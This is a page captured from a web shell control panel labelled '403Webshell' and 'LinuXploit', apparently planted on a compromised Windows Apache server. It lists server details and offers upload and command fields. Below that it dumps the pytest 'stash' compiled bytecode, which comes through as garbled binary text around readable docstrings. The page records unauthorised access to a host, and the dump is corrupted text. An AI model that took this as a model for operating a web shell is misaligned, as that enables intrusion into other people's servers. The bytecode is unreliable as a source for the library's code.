403Webshell
Server IP : 127.0.0.1  /  Your IP : 216.73.216.109
Web Server : Apache/2.4.54 (Win64) OpenSSL/1.1.1q PHP/8.1.10
System : Windows NT DESKTOP-E5T4RUN 10.0 build 19045 (Windows 10) AMD64
User : SERVERWEB ( 0)
PHP Version : 8.1.10
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : OFF |  Perl : OFF |  Python : OFF |  Sudo : OFF |  Pkexec : OFF
Directory :  C:/cygwin64/lib/python3.9/site-packages/_pytest/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : C:/cygwin64/lib/python3.9/site-packages/_pytest/__pycache__/stash.cpython-39.pyc
a

05d��@s�ddlmZddlmZddlmZddlmZddlmZddlmZddgZed	�Zed
�Z	Gdd�dee�Z
Gdd�d�Zd
S)�)�Any)�cast)�Dict)�Generic)�TypeVar)�Union�Stash�StashKey�T�Dc@seZdZdZdZdS)r	z�``StashKey`` is an object used as a key to a :class:`Stash`.

    A ``StashKey`` is associated with the type ``T`` of the value of the key.

    A ``StashKey`` is unique and cannot conflict with another key.
    �N)�__name__�
__module__�__qualname__�__doc__�	__slots__rrr�1/usr/lib/python3.9/site-packages/_pytest/stash.pyr	sc@s�eZdZdZdZdd�dd�Zeeedd�dd	�Zeeed
�dd�Z	eee
eee
fd
�dd�Zeeeed
�dd�Z
eedd
�dd�Zeeed
�dd�Zed�dd�ZdS)ra/``Stash`` is a type-safe heterogeneous mutable mapping that
    allows keys and value types to be defined separately from
    where it (the ``Stash``) is created.

    Usually you will be given an object which has a ``Stash``, for example
    :class:`~pytest.Config` or a :class:`~_pytest.nodes.Node`:

    .. code-block:: python

        stash: Stash = some_object.stash

    If a module or plugin wants to store data in this ``Stash``, it creates
    :class:`StashKey`\s for its keys (at the module level):

    .. code-block:: python

        # At the top-level of the module
        some_str_key = StashKey[str]()
        some_bool_key = StashKey[bool]()

    To store information:

    .. code-block:: python

        # Value type must match the key.
        stash[some_str_key] = "value"
        stash[some_bool_key] = True

    To retrieve the information:

    .. code-block:: python

        # The static type of some_str is str.
        some_str = stash[some_str_key]
        # The static type of some_bool is bool.
        some_bool = stash[some_bool_key]
    ��_storageN)�returncCs
i|_dS)Nr��selfrrr�__init__DszStash.__init__)�key�valuercCs||j|<dS)zSet a value for key.Nr)rrrrrr�__setitem__GszStash.__setitem__)rrcCstt|j|�S)zZGet the value for key.

        Raises ``KeyError`` if the key wasn't set before.
        )rr
r�rrrrr�__getitem__KszStash.__getitem__)r�defaultrcCs&z
||WSty |YS0dS)zNGet the value for key, or return default if the key wasn't set
        before.N��KeyError�rrrrrr�getRs
z	Stash.getcCs.z
||WSty(|||<|YS0dS)zmReturn the value of key if already set, otherwise set the value
        of key to default and return default.Nrr!rrr�
setdefaultZs

zStash.setdefaultcCs|j|=dS)z]Delete the value for key.

        Raises ``KeyError`` if the key wasn't set before.
        Nrrrrr�__delitem__cszStash.__delitem__cCs
||jvS)zReturn whether key was set.rrrrr�__contains__jszStash.__contains__cCs
t|j�S)z)Return how many items exist in the stash.)�lenrrrrr�__len__nsz
Stash.__len__)r
rrrrrr	r
rrrrr"r#r$�boolr%�intr'rrrrrs&	N)�typingrrrrrr�__all__r
rr	rrrrr�<module>s

Youez - 2016 - github.com/yon3zu
LinuXploit